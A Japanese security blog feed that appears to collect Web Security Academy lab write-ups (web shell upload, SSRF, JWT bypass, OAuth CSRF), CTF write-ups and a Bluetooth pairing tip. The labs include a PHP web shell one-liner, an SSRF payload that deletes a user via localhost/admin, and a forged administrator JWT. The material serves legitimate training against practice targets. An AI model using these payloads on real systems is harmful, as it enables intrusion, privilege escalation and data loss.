Web Security Academy「Remote code execution via web shell upload」解いてみた
はじめに
Web Security Academyの「Remote code execution via web shell upload」解いてみました。
難易度的に簡単なものが続いているのはご容赦ください。。 あと、ウェブシェルって色々あると思うんですが、使いやすいもの、多機能なもの、見た目がいい(かわいい)ものなど、おすすめがあったら教えてください。
Writeup
前提情報
- ファイルアップロード機能に脆弱性あり(アップロードしたファイルを検証しない)
Walkthrough
以下のような簡単なウェブシェルを用意しておく。
<?php echo system($_GET["cmd"]) ?>
マイページのアップロード機能で、ウェブシェルをアップロードする。 本来アバターの画像をアップロードするための機能なので、アバター画像を別タブで開くとウェブシェルが開く。
あとは cat /carlos/secret
すればいい……はずが、なぜか同名ファイルが存在しているみたいで、同じ内容が二度表示される点に注意。
taskctf2022 Writeup
はじめに
task4233さんが開催したtaskctf2022に参加していました。 問題数、難易度、期間全てが絶妙で楽しかったです。チュートリアルを置くお人柄も素敵です。ありがとうございました。そしてお誕生日おめでとうございました。:tada:
誕生日CTFことtaskctfは今週の土曜日開催です
— task4233 (@task4233) 2022年12月1日
初心者〜中級者向けの趣味CTFになります
もし良ければご参加ください!#taskctf https://t.co/EQ8WiRTQQC
私はと言いますと、3問残し、ヒント2つ見て25位でした。ヒントを見た問題はfirstとanti_detectionで、どっちも解けませんでした*1。
以下、解けた問題だけWriteup書いていきます(Tutorial除く)。解けなかった問題は、他の方や公式Writeupを読んで精進します。
osint
welcome
「taskctf 2019 writeup」とググって出しました。
ramen
Googleレンズで検索したら店名が出てきました。
kofun
まず画像を見て思ったことは以下のとおりです。
- 古墳の周りはなんか森っぽい
- 入口の上に木が生えてたっぽい
とりあえず、from:task4233 古墳
という条件でツイート検索をしました。
問題の画像に加えて、埴輪がこっち?を見てるシュールな画像が添付されていました。
お友達と一緒に行ったとのことなので、お友達がヒントになるようなツイートをしてるかもと思って、このツイート前後に古墳についてつぶやいているツイートを検索しました。結果、狙ったものはヒットしなかったものの、たまたま埴輪の画像と同じ場所っぽい画像を添付しているツイートが見つかりました。このあたりが龍角寺古墳群であることが分かりました。
ただ、「龍角寺n号墳」という感じですごくたくさんあるようです。Googleマップでしらみ潰しに見ようにも、きりがありません。
「千葉 古墳」などでGoogle検索していたら、有志の方が公開している、県毎に古墳をリストアップしたGoogleマイマップに辿り着きました。
千葉県の古墳リストを上から見ていると、どうやら「龍角寺111号墳」が森の中にあるっぽいです。問題の入口の周囲の雰囲気と近い気がして、「龍角寺111号墳」でGoogle検索すると、以下の画像が見つかりました。木の位置が問題の画像とドンピシャです。
このサイトから古墳名を確認してflag投げました。インターネットに感謝。
douro
画像を見て思ったこと。
- 右側通行っぽいのでたぶんアメリカ
- ヤシの木みたいなのが生えてる。マイアミ?(偏見)
- 信号が特徴的な気がする
ぜったい無理やん
最初マイアミを見てたんですが、どうも信号の感じが違います。
早々と方針を切り替えて「アメリカ 十字路」で画像検索していたら、かなり似てる信号が写っている画像が見つかりました。
この記事からはここがどこなのか分からなかったので、更に画像検索すると以下の記事にたどり着きました。Google検索でざっくり読んだ感じ、道の舗装か何かを頑張ったんですかね?とにかく、この似た感じの道路はIrvine Center Driveみたいです。
GoogleマップでIrvine Center Driveにある十字路をひたすら見ていって、ここに辿り着きました。インターネットに感謝。
全ての問題に言えることですが、実際Writeupで書いているほどスムーズには進んでいないです。特にこの問題に関しては、from:task4233 旅行
とか from:task4233 留学
、from:task4233 渡航
、from:task4233 パスポート
、from:task4233 海外
などなど、task4233さんのそれっぽいツイートを延々探す時間があり、我ながらだいぶキモかったです*2。
web
robots
TryHackMeか何かでrobots.txtに一杯食わされてからというもの、Web問は最初にrobots.txtを見るようにしていて。今回は問題名もそのものズバリだったので、確認すると/admin/flag
というパスがあることが分かりました。
アクセスすると、internalからでないとアクセスできない様子。Burp Suiteを使って X-Forwarded-For
ヘッダーを追加し、ローカルIPアドレス帯を一通り試した後127.0.0.1
でflagが見られました。
misc
ransomware
暗号化スクリプトと、暗号化されたflagが提供されています。 暗号化のアルゴリズムは、C2サーバーから取得したkey(int)と、各文字のXORをとっているようです。 C2サーバーはすでに公開されておらず、以下がポイントっぽいと思いました。
- 復号はどうやるのか?
- keyは何だったのか?
まず復号については、XORは2回演算したら元に戻るみたいです。
keyについては、とりあえずパワー回答しようと思って、以下のスクリプトを書きました。
key = 0 data = None while True: with open('taskctf_flag.txt.encrypted', 'r') as f: data = f.read() plain = "" for ch in data: plain += chr(ord(ch) ^ key) if 'taskctf' in plain: print(f'key: {key}, flag: {plain}') else: key += 1 data = None
これを動かして、無事復号できました。
key: 17772, flag: taskctf{x0r_1s_e4sy_70_1mplemen7}
Web Security Academy「Basic SSRF against the local server」解いてみた
はじめに
PortSwigger Web Security Academyの「Basic SSRF against the local server」を解きました。
Writeup
事前情報
- 在庫確認機能は、内部システムにデータをフェッチする
Walkthrough
商品ページを見て、 在庫チェック機能のリクエストをプロキシして見てみると、POSTパラメータとしてフェッチ先のURLを指定している。
stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1
リクエストをRepeaterに送って、http://localhost/admin
にしてみると、管理画面のHTMLが閲覧できる。
<section> <h1>Users</h1> <div> <span>carlos - </span> <a href="/admin/delete?username=carlos">Delete</a> </div> <div> <span>wiener - </span> <a href="/admin/delete?username=wiener">Delete</a> </div> </section>
http://loaclhost/admin/delete?username=carlos
にリクエストを送ったらcarlosを消せる。
stockApi=http%3a%2f%2flocalhost%2fadmin%2fdelete%3fusername%3dcarlos
Inspector(Repeater画面の右側に出てくるペイン)を使うと、エンコードなどを自動でやってくれるので便利。Decodedfromのほうを編集する。
Web Security Academy「JWT authentication bypass via unverified signature」解いてみた
はじめに
この記事は「shinobe179 Advent Calendar 2022」2日目の記事です。
まずは「Lab from all topics」のコンプリートに向けて、「JWT authentication bypass via unverified signature」を解きました。簡単な問題ですが、飲み会終わりにつきお許しを。
メモ
事前情報
- アプリはJWTの署名を検証しない
- つまり、書き換えが自由!
流れ
- とりあえずwiener:peterでログインする
- Cookieに入っているJWTをコピペして https://jwt.io/ へ
- ペイロード部の平文をコピーして、
sub
をadministrator
へ書き換える - base64を生成する(後述)
- ペイロードを差し替える
eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzAwMDMxODV9
- Cookieを差し替えると、/adminへアクセスできるようになる
base64の生成はこんな感じ。
$echo -n '{"iss":"portswigger","sub":"administrator","exp":1670003185}' | base64 eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzAwMDMx ODV9 # 検証。改行文字がないのでプロンプトの$が続く $echo -n eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzAwMDMxODV9 | base64 -d {"iss":"portswigger","sub":"administrator","exp":1670003185}$
宿題
Burp SuiteのInspectorで、JWTの編集ができるみたい。便利!
Web Security Academy「Forced OAuth profile linking」解いてみた
はじめに
この記事は「shinobe179 Advent Calendar 2022」1日目の記事です。
CISSP、eJPT以降、忙しさにかまけて精進が滞っていたので、アドベントカレンダーの力を借りてBurp Suite Certified Practitioner(BSCP)を取ろうかなと思います。
久しぶりにWeb Security Academyにログインしたら、Burp Challengeというコンテンツが出てきました。なんか商品とか試験クレジットがもらえたりするらしいです。今日は眠いんで土日にちゃんと読みます。
「今のダッシュボードでも貼っとくか」と思ってスクショ貼って気づいたんですが、下段のExam preparation stepsが、BSCPを受ける条件の進捗を示してるんですね。
Lab from all topicsが未完了ですが、今日のところはとりあえずSpecific labsの中で終わってなかった「Forced OAuth profile linking」をやってみました。
メモ
流れ
/oauth-linking?code=...
というリクエストをインターセプトしてドロップする。<iframe>
でターゲットに表示させると、アンチCSRFトークンがないのでCSRFが成立する。- peterでログインし直すと、管理者のSNSアカウントが紐付けられていて、管理者パネルを操作できるようになっている。
不明点
- どうしてこうなった
- OAuthの本がKindleにあったはずなので、読んで復習しながらシーケンス図を書いて理解する。
UECTF2022 Writeup
はじめに
UECTF2022、shinozakiaiというユーザー名で参加して20位でした。Writeupを書きます。
逆Writeup(解けなかった問題を復習することを勝手にそう呼んでます)もセットで書くつもりだったんですが、丁寧、丁寧、丁寧にやりたいので別記事にしようと思います。
感想
私にはちょうどいい難易度で、比較的たくさん解けて面白かったです。特にMISCにユニークな問題が多かった印象です。運営の皆様、ありがとうございました。
WEB
webapi
HTMLにベタ書きされているFLAG_URLを見ればflag。
request-validation
ソースコードを読むと、GETパラメータ q
がobjectならflagがもらえるみたい。
if (req.query.q && typeof req.query.q === 'object') {$ res.send(FLAG)$
どうしたらobject扱いになるかなーと思って、ローカルで立ち上げた環境に ?q={'test': 'test'}
など色々投げてたら、?q=test1&q=test2
でflag。
FORENSICS
Compare
バイナリ同士を比較する cmp
というコマンドがあることを知る。見た目は一緒だけど、差分はあるみたい。
$cmp -l UECTF_org.bmp UECTF_new.bmp 101845 377 125 102818 377 105 103839 377 103 104752 377 124 105401 377 106 106038 377 173 106639 377 143 107228 377 157 107757 377 155 108406 377 160 109103 377 141 109848 377 162 110605 377 145 111218 377 137 111855 377 164 112504 377 167 113141 377 157 113754 377 137 114379 377 146 115040 377 151 115593 377 154 116326 377 145 116939 377 163 117480 377 137 118285 377 142 118874 377 171 119523 377 164 120040 377 145 120605 377 137 121170 377 142 121819 377 171 122384 377 137 123033 377 142 123574 377 171 124103 377 164 124668 377 145 125065 377 175
この 125
とか 105
をPythonで chr()
したりすればいいのか?と思うもなんかうまくいかず。しかたがないのでorgとnewそれぞれの xxd
の出力を保存して diff
で比較した。差分になっている箇所が UECTF{
となっているので、温かみのある手作業でflagを組み立てた。
377ってなんだ?
$diff -u org new | grep ^+ +++ new 2022-11-26 15:35:15.396738997 +0900 +00018dd0: ffff ffff 55ff ffff ffff ffff ffff ffff ....U........... +000191a0: ff45 ffff ffff ffff ffff ffff ffff ffff .E.............. +00019590: ffff ffff ffff ffff ffff ffff ffff 43ff ..............C. +00019920: ffff ffff ffff ffff ffff ffff ffff ff54 ...............T +00019bb0: ffff ffff ffff ffff 46ff ffff ffff ffff ........F....... +00019e30: ffff ffff ff7b ffff ffff ffff ffff ffff .....{.......... +0001a080: ffff ffff ffff ffff ffff ffff ffff 63ff ..............c. +0001a2d0: ffff ffff ffff ffff ffff ff6f ffff ffff ...........o.... +0001a4e0: ffff ffff ffff ffff ffff ffff 6dff ffff ............m... +0001a770: ffff ffff ff70 ffff ffff ffff ffff ffff .....p.......... +0001aa20: ffff ffff ffff ffff ffff ffff ffff 61ff ..............a. +0001ad10: ffff ffff ffff ff72 ffff ffff ffff ffff .......r........ +0001b000: ffff ffff ffff ffff ffff ffff 65ff ffff ............e... +0001b270: ff5f ffff ffff ffff ffff ffff ffff ffff ._.............. +0001b4e0: ffff ffff ffff ffff ffff ffff ffff 74ff ..............t. +0001b770: ffff ffff ffff ff77 ffff ffff ffff ffff .......w........ +0001b9f0: ffff ffff 6fff ffff ffff ffff ffff ffff ....o........... +0001bc50: ffff ffff ffff ffff ff5f ffff ffff ffff ........._...... +0001bec0: ffff ffff ffff ffff ffff 66ff ffff ffff ..........f..... +0001c150: ffff ffff ffff ffff ffff ffff ffff ff69 ...............i +0001c380: ffff ffff ffff ffff 6cff ffff ffff ffff ........l....... +0001c660: ffff ffff ff65 ffff ffff ffff ffff ffff .....e.......... +0001c8c0: ffff ffff ffff ffff ffff 73ff ffff ffff ..........s..... +0001cae0: ffff ffff ffff ff5f ffff ffff ffff ffff ......._........ +0001ce00: ffff ffff ffff ffff ffff ffff 62ff ffff ............b... +0001d050: ffff ffff ffff ffff ff79 ffff ffff ffff .........y...... +0001d2e0: ffff 74ff ffff ffff ffff ffff ffff ffff ..t............. +0001d4e0: ffff ffff ffff ff65 ffff ffff ffff ffff .......e........ +0001d710: ffff ffff ffff ffff ffff ffff 5fff ffff ............_... +0001d950: ff62 ffff ffff ffff ffff ffff ffff ffff .b.............. +0001dbd0: ffff ffff ffff ffff ffff 79ff ffff ffff ..........y..... +0001de00: ffff ffff ffff ffff ffff ffff ffff ff5f ..............._ +0001e090: ffff ffff ffff ffff 62ff ffff ffff ffff ........b....... +0001e2b0: ffff ffff ff79 ffff ffff ffff ffff ffff .....y.......... +0001e4c0: ffff ffff ffff 74ff ffff ffff ffff ffff ......t......... +0001e6f0: ffff ffff ffff ffff ffff ff65 ffff ffff ...........e.... +0001e880: ffff ffff ffff ffff 7dff ffff ffff ffff ........}.......
Deleted
ディスクイメージは binwalk
と foremost
かけときゃええやろ精神で、 foremost
で画像ファイルがいくつか発掘できた。漁ったらflagが描いてあるファイルがあった。
Discord 1
ワンライナーで画像ファイルを列挙して、片っ端から確認した。
$find . -name '*' -exec file {} \; | grep -o -P '^.+: \w+ image' ./Cache/f_00002b: PNG image ./Cache/f_00002c: PNG image ./Cache/f_00002f: PNG image ./Cache/f_00003a: PNG image ./Cache/f_00008b: PNG image ./Cache/f_00008c: PNG image ./Cache/f_00008d: PNG image ./Cache/f_00008e: PNG image ./Cache/f_00008f: PNG image ./Cache/f_000090: PNG image ./Cache/f_000091: PNG image ./deafen-off-light.png: PNG image ./disconnect-light.png: PNG image ./mute-off-light.png: PNG image ./tray-connected.png: PNG image ./tray-deafened.png: PNG image ./tray-muted.png: PNG image ./tray-speaking.png: PNG image ./tray-unread.png: PNG image ./tray.png: PNG image ./video-light.png: PNG image
Discord 2
grep
。
$grep -r UECTF . grep: ./Local Storage/leveldb/000004.log: binary file matches
MISC
WELCOME
割愛。
caesar
以下のコードでflagをエンコードしている。なんかあんまり細かいこと考えずに、 letter[(index+14)%len(letter)]
のとこを letter[(index-14)%len(letter)]
にした関数を decode()
として使ったら復号できた。
from string import ascii_uppercase,ascii_lowercase,digits,punctuation def encode(plain): cipher='' for i in plain: index=letter.index(i) cipher=cipher+letter[(index+14)%len(letter)] return cipher ascii_all='' for i in range(len(ascii_uppercase)): ascii_all=ascii_all+ascii_uppercase[i]+ascii_lowercase[i] letter=ascii_all+digits+punctuation plain_text='UECTF{SECRET}' cipher_text=encode(plain_text) print(cipher_text)
こういうの、読むのも嫌になってしまうというか、自分がやりたいCTFはこういうのじゃねえ!と逃げてしまう。
reduction gone wrong 1
黒塗りの箇所をコピペすると「nope」がでてきてぐぬぬ……となった。 「ctf pdf 黒塗り」でググったらLibreOfficeでなんとかしたという記事がでてきたので、そのようにしてflag。
reduction gone wrong 2
Windows10標準のペイントで輝度をガンガン上げまくってflag。
GIF1
GIFの中で一瞬flagが表示される。GIMPをダウンロードするのが面倒だったので、Windows+Gで起動する録画機能で録画した。
WHEREAMI
ヒントを見て、これが「plus code」なるものだということが分かった。
plus code を使用して場所を検索、共有する - Android - マップ ヘルプ
1行が1地点を示しているとすると、たくさんあるし、いくつか試すと太平洋というだだっ広いところを示しているようだったので、きっと全部にピンを打ったらflagが浮かび上がるんだろうなと想像がついた。
ので、その方法を探すと以下のページにたどり着いた。スプレッドシートに列挙した地理情報を、まとめてインポートできるみたいだ。
Googleマップ:住所録から地図に一括マークアップする方法(マイマップ作成) - Fans!Google
やってみたらflag。面白い問題だった。
OSINT
IDを変更したTwitterアカウント( https://twitter.com/__yata_nano__ )をネトストする問題。
Wayback machineでアーカイブを発見。
https://web.archive.org/web/20221026140525/https://twitter.com/__yata_nano__
ツイートの中身からは、新IDに関する情報は見つからず。色々ググっていたら、ユーザーに変更不可能なIDが割り当てられていることが分かった。
アーカイブのソースを見てみたら、それらしきものが書かれている。
以下のURLにアクセスすると、新ユーザーIDのアカウントへリダイレクトされる。pastebinのURLをツイートしていて、そこでflagを入手した。UECTF
なんかを検索することで辿り着かせないためだと思うけど、手が込んでいるなあと思った。自分だったら適当に検索避けするとか画像とかで済ませちゃいそうだけど、こういう方法もあるんだな。
https://twitter.com/intent/user?user_id=1585261641125416961
REV
A file
うおおおお
$ strings chall | grep UECTF UECTF{Linux_c0mm4nDs_ar3_50_h3LPFU1!}
Linux(Parrot OS)とBluetoothキーボードのペアリングに苦戦し、最終的にbluetoothctlで勝利した話
Kali Linuxのaptが大崩壊したので、Parrot OSに乗り換えました。
移行作業は順調でしたが、唯一HHKBのペアリングがGUIのBluetoothマネージャーではうまくいきませんでした。どうやら、ペアリング時のパスコードの入力に対応していないようです。
結論
以下のサイトを見つけて、 bluetoothctl
を使って乗り越えました。
細かいことは全然覚えてしログも取り損ねた(無能)んですが……だいたい以下のような感じでした。
- HHKBを、ペアリング状態(LEDが1秒に3回くらい点滅するやつ)にしておく
bluetoothctl
(プロンプトが変わる)scan on
(プロンプトが変わる)devices
(発見したデバイスとMACアドレスの一覧を表示する)agent on
(「もともとonだよ」みたいなメッセージが出た)connect 00:00:DE:AD:BE:EF
(HHKBのMACアドレスを指定し、接続する)ほっとくと勝手にプロンプトが[HHKB-Hybrid_{n}]
になる{n}
はHHKBをペアリング状態にした時に使った数字キー
default-agent
(なにか起きた感じはしなかったが、入力したら↓が起きた)Passkey
が表示されるので、HHKBで入力してEnterを押すとペアリング完了